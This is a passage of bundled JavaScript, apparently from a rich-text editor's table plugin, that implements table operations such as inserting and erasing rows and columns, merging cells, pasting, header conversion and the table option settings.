      const newRowSizes = matchRowHeight(warehouse, newHeights);
      each$2(newRowSizes, row => {
        setHeight(row.element, row.height);
      });
      each$2(newCellSizes, cell => {
        setHeight(cell.element, cell.height);
      });
      const total = sumUp(newHeights);
      setHeight(table, total);
    };
    const adjustAndRedistributeWidths$1 = (_table, list, details, tableSize, resizeBehaviour) => {
      const warehouse = Warehouse.generate(list);
      const sizes = tableSize.getWidths(warehouse, tableSize);
      const tablePixelWidth = tableSize.pixelWidth();
      const {newSizes, delta} = resizeBehaviour.calcRedestributedWidths(sizes, tablePixelWidth, details.pixelDelta, tableSize.isRelative);
      recalculateAndApply(warehouse, newSizes, tableSize);
      tableSize.adjustTableWidth(delta);
    };
    const adjustWidthTo = (_table, list, _info, tableSize) => {
      const warehouse = Warehouse.generate(list);
      const widths = tableSize.getWidths(warehouse, tableSize);
      recalculateAndApply(warehouse, widths, tableSize);
    };

    const uniqueColumns = details => {
      const uniqueCheck = (rest, detail) => {
        const columnExists = exists(rest, currentDetail => currentDetail.column === detail.column);
        return columnExists ? rest : rest.concat([detail]);
      };
      return foldl(details, uniqueCheck, []).sort((detailA, detailB) => detailA.column - detailB.column);
    };

    const isCol = isTag('col');
    const isColgroup = isTag('colgroup');
    const isRow$1 = element => name(element) === 'tr' || isColgroup(element);
    const elementToData = element => {
      const colspan = getAttrValue(element, 'colspan', 1);
      const rowspan = getAttrValue(element, 'rowspan', 1);
      return {
        element,
        colspan,
        rowspan
      };
    };
    const modification = (generators, toData = elementToData) => {
      const nuCell = data => isCol(data.element) ? generators.col(data) : generators.cell(data);
      const nuRow = data => isColgroup(data.element) ? generators.colgroup(data) : generators.row(data);
      const add = element => {
        if (isRow$1(element)) {
          return nuRow({ element });
        } else {
          const cell = element;
          const replacement = nuCell(toData(cell));
          recent = Optional.some({
            item: cell,
            replacement
          });
          return replacement;
        }
      };
      let recent = Optional.none();
      const getOrInit = (element, comparator) => {
        return recent.fold(() => {
          return add(element);
        }, p => {
          return comparator(element, p.item) ? p.replacement : add(element);
        });
      };
      return { getOrInit };
    };
    const transform$1 = tag => {
      return generators => {
        const list = [];
        const find = (element, comparator) => {
          return find$1(list, x => {
            return comparator(x.item, element);
          });
        };
        const makeNew = element => {
          const attrs = tag === 'td' ? { scope: null } : {};
          const cell = generators.replace(element, tag, attrs);
          list.push({
            item: element,
            sub: cell
          });
          return cell;
        };
        const replaceOrInit = (element, comparator) => {
          if (isRow$1(element) || isCol(element)) {
            return element;
          } else {
            const cell = element;
            return find(cell, comparator).fold(() => {
              return makeNew(cell);
            }, p => {
              return comparator(element, p.item) ? p.sub : makeNew(cell);
            });
          }
        };
        return { replaceOrInit };
      };
    };
    const getScopeAttribute = cell => getOpt(cell, 'scope').map(attribute => attribute.substr(0, 3));
    const merging = generators => {
      const unmerge = cell => {
        const scope = getScopeAttribute(cell);
        scope.each(attribute => set$2(cell, 'scope', attribute));
        return () => {
          const raw = generators.cell({
            element: cell,
            colspan: 1,
            rowspan: 1
          });
          remove$5(raw, 'width');
          remove$5(cell, 'width');
          scope.each(attribute => set$2(raw, 'scope', attribute));
          return raw;
        };
      };
      const merge = cells => {
        const getScopeProperty = () => {
          const stringAttributes = cat(map$1(cells, getScopeAttribute));
          if (stringAttributes.length === 0) {
            return Optional.none();
          } else {
            const baseScope = stringAttributes[0];
            const scopes = [
              'row',
              'col'
            ];
            const isMixed = exists(stringAttributes, attribute => {
              return attribute !== baseScope && contains$2(scopes, attribute);
            });
            return isMixed ? Optional.none() : Optional.from(baseScope);
          }
        };
        remove$5(cells[0], 'width');
        getScopeProperty().fold(() => remove$7(cells[0], 'scope'), attribute => set$2(cells[0], 'scope', attribute + 'group'));
        return constant(cells[0]);
      };
      return {
        unmerge,
        merge
      };
    };
    const Generators = {
      modification,
      transform: transform$1,
      merging
    };

    const blockList = [
      'body',
      'p',
      'div',
      'article',
      'aside',
      'figcaption',
      'figure',
      'footer',
      'header',
      'nav',
      'section',
      'ol',
      'ul',
      'table',
      'thead',
      'tfoot',
      'tbody',
      'caption',
      'tr',
      'td',
      'th',
      'h1',
      'h2',
      'h3',
      'h4',
      'h5',
      'h6',
      'blockquote',
      'pre',
      'address'
    ];
    const isList$1 = (universe, item) => {
      const tagName = universe.property().name(item);
      return contains$2([
        'ol',
        'ul'
      ], tagName);
    };
    const isBlock$1 = (universe, item) => {
      const tagName = universe.property().name(item);
      return contains$2(blockList, tagName);
    };
    const isEmptyTag$1 = (universe, item) => {
      return contains$2([
        'br',
        'img',
        'hr',
        'input'
      ], universe.property().name(item));
    };

    const universe$1 = DomUniverse();
    const isBlock = element => {
      return isBlock$1(universe$1, element);
    };
    const isList = element => {
      return isList$1(universe$1, element);
    };
    const isEmptyTag = element => {
      return isEmptyTag$1(universe$1, element);
    };

    const merge = cells => {
      const isBr = isTag('br');
      const advancedBr = children => {
        return forall(children, c => {
          return isBr(c) || isText(c) && get$6(c).trim().length === 0;
        });
      };
      const isListItem = el => {
        return name(el) === 'li' || ancestor$2(el, isList).isSome();
      };
      const siblingIsBlock = el => {
        return nextSibling(el).map(rightSibling => {
          if (isBlock(rightSibling)) {
            return true;
          }
          if (isEmptyTag(rightSibling)) {
            return name(rightSibling) === 'img' ? false : true;
          }
          return false;
        }).getOr(false);
      };
      const markCell = cell => {
        return last$1(cell).bind(rightEdge => {
          const rightSiblingIsBlock = siblingIsBlock(rightEdge);
          return parent(rightEdge).map(parent => {
            return rightSiblingIsBlock === true || isListItem(parent) || isBr(rightEdge) || isBlock(parent) && !eq$1(cell, parent) ? [] : [SugarElement.fromTag('br')];
          });
        }).getOr([]);
      };
      const markContent = () => {
        const content = bind$2(cells, cell => {
          const children = children$2(cell);
          return advancedBr(children) ? [] : children.concat(markCell(cell));
        });
        return content.length === 0 ? [SugarElement.fromTag('br')] : content;
      };
      const contents = markContent();
      empty(cells[0]);
      append(cells[0], contents);
    };

    const isEditable = elem => isEditable$1(elem, true);
    const prune = table => {
      const cells = cells$1(table);
      if (cells.length === 0) {
        remove$6(table);
      }
    };
    const outcome = (grid, cursor) => ({
      grid,
      cursor
    });
    const findEditableCursorPosition = rows => findMap(rows, row => findMap(row.cells, cell => {
      const elem = cell.element;
      return someIf(isEditable(elem), elem);
    }));
    const elementFromGrid = (grid, row, column) => {
      var _a, _b;
      const rows = extractGridDetails(grid).rows;
      return Optional.from((_b = (_a = rows[row]) === null || _a === void 0 ? void 0 : _a.cells[column]) === null || _b === void 0 ? void 0 : _b.element).filter(isEditable).orThunk(() => findEditableCursorPosition(rows));
    };
    const bundle = (grid, row, column) => {
      const cursorElement = elementFromGrid(grid, row, column);
      return outcome(grid, cursorElement);
    };
    const uniqueRows = details => {
      const rowCompilation = (rest, detail) => {
        const rowExists = exists(rest, currentDetail => currentDetail.row === detail.row);
        return rowExists ? rest : rest.concat([detail]);
      };
      return foldl(details, rowCompilation, []).sort((detailA, detailB) => detailA.row - detailB.row);
    };
    const opInsertRowsBefore = (grid, details, comparator, genWrappers) => {
      const targetIndex = details[0].row;
      const rows = uniqueRows(details);
      const newGrid = foldr(rows, (acc, row) => {
        const newG = insertRowAt(acc.grid, targetIndex, row.row + acc.delta, comparator, genWrappers.getOrInit);
        return {
          grid: newG,
          delta: acc.delta + 1
        };
      }, {
        grid,
        delta: 0
      }).grid;
      return bundle(newGrid, targetIndex, details[0].column);
    };
    const opInsertRowsAfter = (grid, details, comparator, genWrappers) => {
      const rows = uniqueRows(details);
      const target = rows[rows.length - 1];
      const targetIndex = target.row + target.rowspan;
      const newGrid = foldr(rows, (newG, row) => {
        return insertRowAt(newG, targetIndex, row.row, comparator, genWrappers.getOrInit);
      }, grid);
      return bundle(newGrid, targetIndex, details[0].column);
    };
    const opInsertColumnsBefore = (grid, extractDetail, comparator, genWrappers) => {
      const details = extractDetail.details;
      const columns = uniqueColumns(details);
      const targetIndex = columns[0].column;
      const newGrid = foldr(columns, (acc, col) => {
        const newG = insertColumnAt(acc.grid, targetIndex, col.column + acc.delta, comparator, genWrappers.getOrInit);
        return {
          grid: newG,
          delta: acc.delta + 1
        };
      }, {
        grid,
        delta: 0
      }).grid;
      return bundle(newGrid, details[0].row, targetIndex);
    };
    const opInsertColumnsAfter = (grid, extractDetail, comparator, genWrappers) => {
      const details = extractDetail.details;
      const target = details[details.length - 1];
      const targetIndex = target.column + target.colspan;
      const columns = uniqueColumns(details);
      const newGrid = foldr(columns, (newG, col) => {
        return insertColumnAt(newG, targetIndex, col.column, comparator, genWrappers.getOrInit);
      }, grid);
      return bundle(newGrid, details[0].row, targetIndex);
    };
    const opMakeColumnsHeader = (initialGrid, details, comparator, genWrappers) => {
      const columns = uniqueColumns(details);
      const columnIndexes = map$1(columns, detail => detail.column);
      const newGrid = replaceColumns(initialGrid, columnIndexes, true, comparator, genWrappers.replaceOrInit);
      return bundle(newGrid, details[0].row, details[0].column);
    };
    const opMakeCellsHeader = (initialGrid, details, comparator, genWrappers) => {
      const newGrid = replaceCells(initialGrid, details, comparator, genWrappers.replaceOrInit);
      return bundle(newGrid, details[0].row, details[0].column);
    };
    const opUnmakeColumnsHeader = (initialGrid, details, comparator, genWrappers) => {
      const columns = uniqueColumns(details);
      const columnIndexes = map$1(columns, detail => detail.column);
      const newGrid = replaceColumns(initialGrid, columnIndexes, false, comparator, genWrappers.replaceOrInit);
      return bundle(newGrid, details[0].row, details[0].column);
    };
    const opUnmakeCellsHeader = (initialGrid, details, comparator, genWrappers) => {
      const newGrid = replaceCells(initialGrid, details, comparator, genWrappers.replaceOrInit);
      return bundle(newGrid, details[0].row, details[0].column);
    };
    const makeRowsSection = (section, applyScope) => (initialGrid, details, comparator, genWrappers, tableSection) => {
      const rows = uniqueRows(details);
      const rowIndexes = map$1(rows, detail => detail.row);
      const newGrid = replaceRows(initialGrid, rowIndexes, section, applyScope, comparator, genWrappers.replaceOrInit, tableSection);
      return bundle(newGrid, details[0].row, details[0].column);
    };
    const opMakeRowsHeader = makeRowsSection('thead', true);
    const opMakeRowsBody = makeRowsSection('tbody', false);
    const opMakeRowsFooter = makeRowsSection('tfoot', false);
    const opEraseColumns = (grid, extractDetail, _comparator, _genWrappers) => {
      const columns = uniqueColumns(extractDetail.details);
      const newGrid = deleteColumnsAt(grid, map$1(columns, column => column.column));
      const maxColIndex = newGrid.length > 0 ? newGrid[0].cells.length - 1 : 0;
      return bundle(newGrid, columns[0].row, Math.min(columns[0].column, maxColIndex));
    };
    const opEraseRows = (grid, details, _comparator, _genWrappers) => {
      const rows = uniqueRows(details);
      const newGrid = deleteRowsAt(grid, rows[0].row, rows[rows.length - 1].row);
      const maxRowIndex = newGrid.length > 0 ? newGrid.length - 1 : 0;
      return bundle(newGrid, Math.min(details[0].row, maxRowIndex), details[0].column);
    };
    const opMergeCells = (grid, mergable, comparator, genWrappers) => {
      const cells = mergable.cells;
      merge(cells);
      const newGrid = merge$2(grid, mergable.bounds, comparator, genWrappers.merge(cells));
      return outcome(newGrid, Optional.from(cells[0]));
    };
    const opUnmergeCells = (grid, unmergable, comparator, genWrappers) => {
      const unmerge$1 = (b, cell) => unmerge(b, cell, comparator, genWrappers.unmerge(cell));
      const newGrid = foldr(unmergable, unmerge$1, grid);
      return outcome(newGrid, Optional.from(unmergable[0]));
    };
    const opPasteCells = (grid, pasteDetails, comparator, _genWrappers) => {
      const gridify = (table, generators) => {
        const wh = Warehouse.fromTable(table);
        return toGrid(wh, generators, true);
      };
      const gridB = gridify(pasteDetails.clipboard, pasteDetails.generators);
      const startAddress = address(pasteDetails.row, pasteDetails.column);
      const mergedGrid = merge$1(startAddress, grid, gridB, pasteDetails.generators, comparator);
      return mergedGrid.fold(() => outcome(grid, Optional.some(pasteDetails.element)), newGrid => {
        return bundle(newGrid, pasteDetails.row, pasteDetails.column);
      });
    };
    const gridifyRows = (rows, generators, context) => {
      const pasteDetails = fromPastedRows(rows, context.section);
      const wh = Warehouse.generate(pasteDetails);
      return toGrid(wh, generators, true);
    };
    const opPasteColsBefore = (grid, pasteDetails, comparator, _genWrappers) => {
      const rows = extractGridDetails(grid).rows;
      const index = pasteDetails.cells[0].column;
      const context = rows[pasteDetails.cells[0].row];
      const gridB = gridifyRows(pasteDetails.clipboard, pasteDetails.generators, context);
      const mergedGrid = insertCols(index, grid, gridB, pasteDetails.generators, comparator);
      return bundle(mergedGrid, pasteDetails.cells[0].row, pasteDetails.cells[0].column);
    };
    const opPasteColsAfter = (grid, pasteDetails, comparator, _genWrappers) => {
      const rows = extractGridDetails(grid).rows;
      const index = pasteDetails.cells[pasteDetails.cells.length - 1].column + pasteDetails.cells[pasteDetails.cells.length - 1].colspan;
      const context = rows[pasteDetails.cells[0].row];
      const gridB = gridifyRows(pasteDetails.clipboard, pasteDetails.generators, context);
      const mergedGrid = insertCols(index, grid, gridB, pasteDetails.generators, comparator);
      return bundle(mergedGrid, pasteDetails.cells[0].row, pasteDetails.cells[0].column);
    };
    const opPasteRowsBefore = (grid, pasteDetails, comparator, _genWrappers) => {
      const rows = extractGridDetails(grid).rows;
      const index = pasteDetails.cells[0].row;
      const context = rows[index];
      const gridB = gridifyRows(pasteDetails.clipboard, pasteDetails.generators, context);
      const mergedGrid = insertRows(index, grid, gridB, pasteDetails.generators, comparator);
      return bundle(mergedGrid, pasteDetails.cells[0].row, pasteDetails.cells[0].column);
    };
    const opPasteRowsAfter = (grid, pasteDetails, comparator, _genWrappers) => {
      const rows = extractGridDetails(grid).rows;
      const index = pasteDetails.cells[pasteDetails.cells.length - 1].row + pasteDetails.cells[pasteDetails.cells.length - 1].rowspan;
      const context = rows[pasteDetails.cells[0].row];
      const gridB = gridifyRows(pasteDetails.clipboard, pasteDetails.generators, context);
      const mergedGrid = insertRows(index, grid, gridB, pasteDetails.generators, comparator);
      return bundle(mergedGrid, pasteDetails.cells[0].row, pasteDetails.cells[0].column);
    };
    const opGetColumnsType = (table, target) => {
      const house = Warehouse.fromTable(table);
      const details = onCells(house, target);
      return details.bind(selectedCells => {
        const lastSelectedCell = selectedCells[selectedCells.length - 1];
        const minColRange = selectedCells[0].column;
        const maxColRange = lastSelectedCell.column + lastSelectedCell.colspan;
        const selectedColumnCells = flatten(map$1(house.all, row => filter$2(row.cells, cell => cell.column >= minColRange && cell.column < maxColRange)));
        return findCommonCellType(selectedColumnCells);
      }).getOr('');
    };
    const opGetCellsType = (table, target) => {
      const house = Warehouse.fromTable(table);
      const details = onCells(house, target);
      return details.bind(findCommonCellType).getOr('');
    };
    const opGetRowsType = (table, target) => {
      const house = Warehouse.fromTable(table);
      const details = onCells(house, target);
      return details.bind(selectedCells => {
        const lastSelectedCell = selectedCells[selectedCells.length - 1];
        const minRowRange = selectedCells[0].row;
        const maxRowRange = lastSelectedCell.row + lastSelectedCell.rowspan;
        const selectedRows = house.all.slice(minRowRange, maxRowRange);
        return findCommonRowType(selectedRows);
      }).getOr('');
    };
    const resize = (table, list, details, behaviours) => adjustWidthTo(table, list, details, behaviours.sizing);
    const adjustAndRedistributeWidths = (table, list, details, behaviours) => adjustAndRedistributeWidths$1(table, list, details, behaviours.sizing, behaviours.resize);
    const firstColumnIsLocked = (_warehouse, details) => exists(details, detail => detail.column === 0 && detail.isLocked);
    const lastColumnIsLocked = (warehouse, details) => exists(details, detail => detail.column + detail.colspan >= warehouse.grid.columns && detail.isLocked);
    const getColumnsWidth = (warehouse, details) => {
      const columns$1 = columns(warehouse);
      const uniqueCols = uniqueColumns(details);
      return foldl(uniqueCols, (acc, detail) => {
        const column = columns$1[detail.column];
        const colWidth = column.map(getOuter$2).getOr(0);
        return acc + colWidth;
      }, 0);
    };
    const insertColumnsExtractor = before => (warehouse, target) => onCells(warehouse, target).filter(details => {
      const checkLocked = before ? firstColumnIsLocked : lastColumnIsLocked;
      return !checkLocked(warehouse, details);
    }).map(details => ({
      details,
      pixelDelta: getColumnsWidth(warehouse, details)
    }));
    const eraseColumnsExtractor = (warehouse, target) => onUnlockedCells(warehouse, target).map(details => ({
      details,
      pixelDelta: -getColumnsWidth(warehouse, details)
    }));
    const pasteColumnsExtractor = before => (warehouse, target) => onPasteByEditor(warehouse, target).filter(details => {
      const checkLocked = before ? firstColumnIsLocked : lastColumnIsLocked;
      return !checkLocked(warehouse, details.cells);
    });
    const headerCellGenerator = Generators.transform('th');
    const bodyCellGenerator = Generators.transform('td');
    const insertRowsBefore = run(opInsertRowsBefore, onCells, noop, noop, Generators.modification);
    const insertRowsAfter = run(opInsertRowsAfter, onCells, noop, noop, Generators.modification);
    const insertColumnsBefore = run(opInsertColumnsBefore, insertColumnsExtractor(true), adjustAndRedistributeWidths, noop, Generators.modification);
    const insertColumnsAfter = run(opInsertColumnsAfter, insertColumnsExtractor(false), adjustAndRedistributeWidths, noop, Generators.modification);
    const eraseColumns = run(opEraseColumns, eraseColumnsExtractor, adjustAndRedistributeWidths, prune, Generators.modification);
    const eraseRows = run(opEraseRows, onCells, noop, prune, Generators.modification);
    const makeColumnsHeader = run(opMakeColumnsHeader, onUnlockedCells, noop, noop, headerCellGenerator);
    const unmakeColumnsHeader = run(opUnmakeColumnsHeader, onUnlockedCells, noop, noop, bodyCellGenerator);
    const makeRowsHeader = run(opMakeRowsHeader, onUnlockedCells, noop, noop, headerCellGenerator);
    const makeRowsBody = run(opMakeRowsBody, onUnlockedCells, noop, noop, bodyCellGenerator);
    const makeRowsFooter = run(opMakeRowsFooter, onUnlockedCells, noop, noop, bodyCellGenerator);
    const makeCellsHeader = run(opMakeCellsHeader, onUnlockedCells, noop, noop, headerCellGenerator);
    const unmakeCellsHeader = run(opUnmakeCellsHeader, onUnlockedCells, noop, noop, bodyCellGenerator);
    const mergeCells = run(opMergeCells, onUnlockedMergable, resize, noop, Generators.merging);
    const unmergeCells = run(opUnmergeCells, onUnlockedUnmergable, resize, noop, Generators.merging);
    const pasteCells = run(opPasteCells, onPaste, resize, noop, Generators.modification);
    const pasteColsBefore = run(opPasteColsBefore, pasteColumnsExtractor(true), noop, noop, Generators.modification);
    const pasteColsAfter = run(opPasteColsAfter, pasteColumnsExtractor(false), noop, noop, Generators.modification);
    const pasteRowsBefore = run(opPasteRowsBefore, onPasteByEditor, noop, noop, Generators.modification);
    const pasteRowsAfter = run(opPasteRowsAfter, onPasteByEditor, noop, noop, Generators.modification);
    const getColumnsType = opGetColumnsType;
    const getCellsType = opGetCellsType;
    const getRowsType = opGetRowsType;

    const fireNewRow = (editor, row) => editor.dispatch('NewRow', { node: row });
    const fireNewCell = (editor, cell) => editor.dispatch('NewCell', { node: cell });
    const fireTableModified = (editor, table, data) => {
      editor.dispatch('TableModified', {
        ...data,
        table
      });
    };
    const fireTableSelectionChange = (editor, cells, start, finish, otherCells) => {
      editor.dispatch('TableSelectionChange', {
        cells,
        start,
        finish,
        otherCells
      });
    };
    const fireTableSelectionClear = editor => {
      editor.dispatch('TableSelectionClear');
    };
    const fireObjectResizeStart = (editor, target, width, height, origin) => {
      editor.dispatch('ObjectResizeStart', {
        target,
        width,
        height,
        origin
      });
    };
    const fireObjectResized = (editor, target, width, height, origin) => {
      editor.dispatch('ObjectResized', {
        target,
        width,
        height,
        origin
      });
    };
    const styleModified = {
      structure: false,
      style: true
    };
    const structureModified = {
      structure: true,
      style: false
    };
    const styleAndStructureModified = {
      structure: true,
      style: true
    };

    const option = name => editor => editor.options.get(name);
    const defaultWidth = '100%';
    const getPixelForcedWidth = editor => {
      var _a;
      const dom = editor.dom;
      const parentBlock = (_a = dom.getParent(editor.selection.getStart(), dom.isBlock)) !== null && _a !== void 0 ? _a : editor.getBody();
      return getInner(SugarElement.fromDom(parentBlock)) + 'px';
    };
    const determineDefaultTableStyles = (editor, defaultStyles) => {
      if (isTableResponsiveForced(editor) || !shouldStyleWithCss(editor)) {
        return defaultStyles;
      } else if (isTablePixelsForced(editor)) {
        return {
          ...defaultStyles,
          width: getPixelForcedWidth(editor)
        };
      } else {
        return {
          ...defaultStyles,
          width: defaultWidth
        };
      }
    };
    const determineDefaultTableAttributes = (editor, defaultAttributes) => {
      if (isTableResponsiveForced(editor) || shouldStyleWithCss(editor)) {
        return defaultAttributes;
      } else if (isTablePixelsForced(editor)) {
        return {
          ...defaultAttributes,
          width: getPixelForcedWidth(editor)
        };
      } else {
        return {
          ...defaultAttributes,
          width: defaultWidth
        };
      }
    };
    const register = editor => {
      const registerOption = editor.options.register;
      registerOption('table_clone_elements', { processor: 'string[]' });
      registerOption('table_use_colgroups', {
        processor: 'boolean',
        default: true
      });
      registerOption('table_header_type', {
        processor: value => {
          const valid = contains$2([
            'section',
            'cells',
            'sectionCells',
            'auto'
          ], value);
          return valid ? {
            value,
            valid
          } : {
            valid: false,
            message: 'Must be one of: section, cells, sectionCells or auto.'
          };
        },
        default: 'section'
      });
      registerOption('table_sizing_mode', {
        processor: 'string',
        default: 'auto'
      });
      registerOption('table_default_attributes', {
        processor: 'object',
        default: { border: '1' }
      });
      registerOption('table_default_styles', {
        processor: 'object',
        default: { 'border-collapse': 'collapse' }
      });
      registerOption('table_column_resizing', {
        processor: value => {
          const valid = contains$2([
            'preservetable',
            'resizetable'
          ], value);
          return valid ? {
            value,
            valid
          } : {
            valid: false,
            message: 'Must be preservetable, or resizetable.'
          };
        },
        default: 'preservetable'
      });
      registerOption('table_resize_bars', {
        processor: 'boolean',
        default: true
      });
      registerOption('table_style_by_css', {
        processor: 'boolean',
        default: true
      });
    };
    const getTableCloneElements = editor => {
      return Optional.from(editor.options.get('table_clone_elements'));
    };
    const hasTableObjectResizing = editor => {
      const objectResizing = editor.options.get('object_resizing');
      return contains$2(objectResizing.split(','), 'table');
    };
    const getTableHeaderType = option('table_header_type');
    const getTableColumnResizingBehaviour = option('table_column_resizing');
    const isPreserveTableColumnResizing = editor => getTableColumnResizingBehaviour(editor) === 'preservetable';
    const isResizeTableColumnResizing = editor => getTableColumnResizingBehaviour(editor) === 'resizetable';
    const getTableSizingMode = option('table_sizing_mode');
    const isTablePercentagesForced = editor => getTableSizingMode(editor) === 'relative';
    const isTablePixelsForced = editor => getTableSizingMode(editor) === 'fixed';
    const isTableResponsiveForced = editor => getTableSizingMode(editor) === 'responsive';
    const hasTableResizeBars = option('table_resize_bars');
    const shouldStyleWithCss = option('table_style_by_css');
    const getTableDefaultAttributes = editor => {
      const options = editor.options;
      const defaultAttributes = options.get('table_default_attributes');
      return options.isSet('table_default_attributes') ? defaultAttributes : determineDefaultTableAttributes(editor, defaultAttributes);
    };
    const getTableDefaultStyles = editor => {
      const options = editor.options;
      const defaultStyles = options.get('table_default_styles');
      return options.isSet('table_default_styles') ? defaultStyles : determineDefaultTableStyles(editor, defaultStyles);
    };
    const tableUseColumnGroup = option('table_use_colgroups');

    const get$5 = (editor, table) => {
      if (isTablePercentagesForced(editor)) {
        return TableSize.percentageSize(table);
      } else if (isTablePixelsForced(editor)) {
        return TableSize.pixelSize(table);
      } else {
        return TableSize.getTableSize(table);
      }
    };

    const TableActions = (editor, resizeHandler, cellSelectionHandler) => {
      const isTableBody = editor => name(getBody(editor)) === 'table';
      const lastRowGuard = table => !isTableBody(editor) || getGridSize(table).rows > 1;
      const lastColumnGuard = table => !isTableBody(editor) || getGridSize(table).columns > 1;
      const cloneFormats = getTableCloneElements(editor);
      const colMutationOp = isResizeTableColumnResizing(editor) ? noop : halve;
      const getTableSectionType = table => {
        switch (getTableHeaderType(editor)) {
        case 'section':
          return TableSection.section();
        case 'sectionCells':
          return TableSection.sectionCells();
        case 'cells':
          return TableSection.cells();
        default:
          return TableSection.getTableSectionType(table, 'section');
        }
      };
      const setSelectionFromAction = (table, result) => result.cursor.fold(() => {
        const cells = cells$1(table);
        return head(cells).filter(inBody).map(firstCell => {
          cellSelectionHandler.clearSelectedCells(table.dom);
          const rng = editor.dom.createRng();
          rng.selectNode(firstCell.dom);
          editor.selection.setRng(rng);
          set$2(firstCell, 'data-mce-selected', '1');
          return rng;
        });
      }, cell => {
        const des = freefallRtl(cell);
        const rng = editor.dom.createRng();
        rng.setStart(des.element.dom, des.offset);
        rng.setEnd(des.element.dom, des.offset);
        editor.selection.setRng(rng);
        cellSelectionHandler.clearSelectedCells(table.dom);
        return Optional.some(rng);
      });
      const execute = (operation, guard, mutate, effect) => (table, target, noEvents = false) => {
        removeDataStyle(table);
        const doc = SugarElement.fromDom(editor.getDoc());
        const generators = cellOperations(mutate, doc, cloneFormats);
        const behaviours = {
          sizing: get$5(editor, table),
          resize: isResizeTableColumnResizing(editor) ? resizeTable() : preserveTable(),
          section: getTableSectionType(table)
        };
        return guard(table) ? operation(table, target, generators, behaviours).bind(result => {
          resizeHandler.refresh(table.dom);
          each$2(result.newRows, row => {
            fireNewRow(editor, row.dom);
          });
          each$2(result.newCells, cell => {
            fireNewCell(editor, cell.dom);
          });
          const range = setSelectionFromAction(table, result);
          if (inBody(table)) {
            removeDataStyle(table);
            if (!noEvents) {
              fireTableModified(editor, table.dom, effect);
            }
          }
          return range.map(rng => ({
            rng,
            effect
          }));
        }) : Optional.none();
      };
      const deleteRow = execute(eraseRows, lastRowGuard, noop, structureModified);
      const deleteColumn = execute(eraseColumns, lastColumnGuard, noop, structureModified);
      const insertRowsBefore$1 = execute(insertRowsBefore, always, noop, structureModified);
      const insertRowsAfter$1 = execute(insertRowsAfter, always, noop, structureModified);
      const insertColumnsBefore$1 = execute(insertColumnsBefore, always, colMutationOp, structureModified);
      const insertColumnsAfter$1 = execute(insertColumnsAfter, always, colMutationOp, structureModified);
      const mergeCells$1 = execute(mergeCells, always, noop, structureModified);
      const unmergeCells$1 = execute(unmergeCells, always, noop, structureModified);
      const pasteColsBefore$1 = execute(pasteColsBefore, always, noop, structureModified);
      const pasteColsAfter$1 = execute(pasteColsAfter, always, noop, structureModified);
      const pasteRowsBefore$1 = execute(pasteRowsBefore, always, noop, structureModified);
      const pasteRowsAfter$1 = execute(pasteRowsAfter, always, noop, structureModified);
      const pasteCells$1 = execute(pasteCells, always, noop, styleAndStructureModified);
      const makeCellsHeader$1 = execute(makeCellsHeader, always, noop, structureModified);
      const unmakeCellsHeader$1 = execute(unmakeCellsHeader, always, noop, structureModified);
      const makeColumnsHeader$1 = execute(makeColumnsHeader, always, noop, structureModified);
      const unmakeColumnsHeader$1 = execute(unmakeColumnsHeader, always, noop, structureModified);
      const makeRowsHeader$1 = execute(makeRowsHeader, always, noop, structureModified);
      const makeRowsBody$1 = execute(makeRowsBody, always, noop, structureModified);
      const makeRowsFooter$1 = execute(makeRowsFooter, always, noop, structureModified);
      const getTableCellType = getCellsType;
      const getTableColType = getColumnsType;
      const getTableRowType = getRowsType;
      return {
        deleteRow,
        deleteColumn,
        insertRowsBefore: insertRowsBefore$1,
        insertRowsAfter: insertRowsAfter$1,
        insertColumnsBefore: insertColumnsBefore$1,
        insertColumnsAfter: insertColumnsAfter$1,
        mergeCells: mergeCells$1,
        unmergeCells: unmergeCells$1,
        pasteColsBefore: pasteColsBefore$1,
        pasteColsAfter: pasteColsAfter$1,
        pasteRowsBefore: pasteRowsBefore$1,
        pasteRowsAfter: pasteRowsAfter$1,
        pasteCells: pasteCells$1,
        makeCellsHeader: makeCellsHeader$1,
        unmakeCellsHeader: unmakeCellsHeader$1,
        makeColumnsHeader: makeColumnsHeader$1,
        unmakeColumnsHeader: unmakeColumnsHeader$1,
        makeRowsHeader: makeRowsHeader$1,
        makeRowsBody: makeRowsBody$1,
        makeRowsFooter: makeRowsFooter$1,
        getTableRowType,
        getTableCellType,
        getTableColType
      };
    };

    const constrainSpan = (element, property, value) => {
      const currentColspan = getAttrValue(element, property, 1);
      if (value === 1 || currentColspan <= 1) {
        remove$7(element, property);
      } else {
        set$2(element, property, Math.min(value, currentColspan));
      }
    };
    const isColInRange = (minColRange, maxColRange) => cell => {
      const endCol = cell.column + cell.colspan - 1;
      const startCol = cell.column;
      return endCol >= minColRange && startCol < maxColRange;
    };
    const generateColGroup = (house, minColRange, maxColRange) => {
      if (Warehouse.hasColumns(house)) {
        const colsToCopy = filter$2(Warehouse.justColumns(house), isColInRange(minColRange, maxColRange));
        const copiedCols = map$1(colsToCopy, c => {
          const clonedCol = deep(c.element);
          constrainSpan(clonedCol, 'span', maxColRange - minColRange);
          return clonedCol;
        });
        const fakeColgroup = SugarElement.fromTag('colgroup');
        append(fakeColgroup, copiedCols);
        return [fakeColgroup];
      } else {
        return [];
      }
    };
    const generateRows = (house, minColRange, maxColRange) => map$1(house.all, row => {
      const cellsToCopy = filter$2(row.cells, isColInRange(minColRange, maxColRange));
      const copiedCells = map$1(cellsToCopy, cell => {
        const clonedCell = deep(cell.element);
        constrainSpan(clonedCell, 'colspan', maxColRange - minColRange);
        return clonedCell;
      });
      const fakeTR = SugarElement.fromTag('tr');
      append(fakeTR, copiedCells);
      return fakeTR;
    });
    const copyCols = (table, target) => {
      const house = Warehouse.fromTable(table);
      const details = onUnlockedCells(house, target);
      return details.map(selectedCells => {
        const lastSelectedCell = selectedCells[selectedCells.length - 1];
        const minColRange = selectedCells[0].column;
        const maxColRange = lastSelectedCell.column + lastSelectedCell.colspan;
        const fakeColGroups = generateColGroup(house, minColRange, maxColRange);
        const fakeRows = generateRows(house, minColRange, maxColRange);
        return [
          ...fakeColGroups,
          ...fakeRows
        ];
      });
    };

    const copyRows = (table, target, generators) => {
      const warehouse = Warehouse.fromTable(table);
      const details = onCells(warehouse, target);
      return details.bind(selectedCells => {
        const grid = toGrid(warehouse, generators, false);
        const rows = extractGridDetails(grid).rows;
        const slicedGrid = rows.slice(selectedCells[0].row, selectedCells[selectedCells.length - 1].row + selectedCells[selectedCells.length - 1].rowspan);
        const filteredGrid = bind$2(slicedGrid, row => {
          const newCells = filter$2(row.cells, cell => !cell.isLocked);
          return newCells.length > 0 ? [{
              ...row,
              cells: newCells
            }] : [];
        });
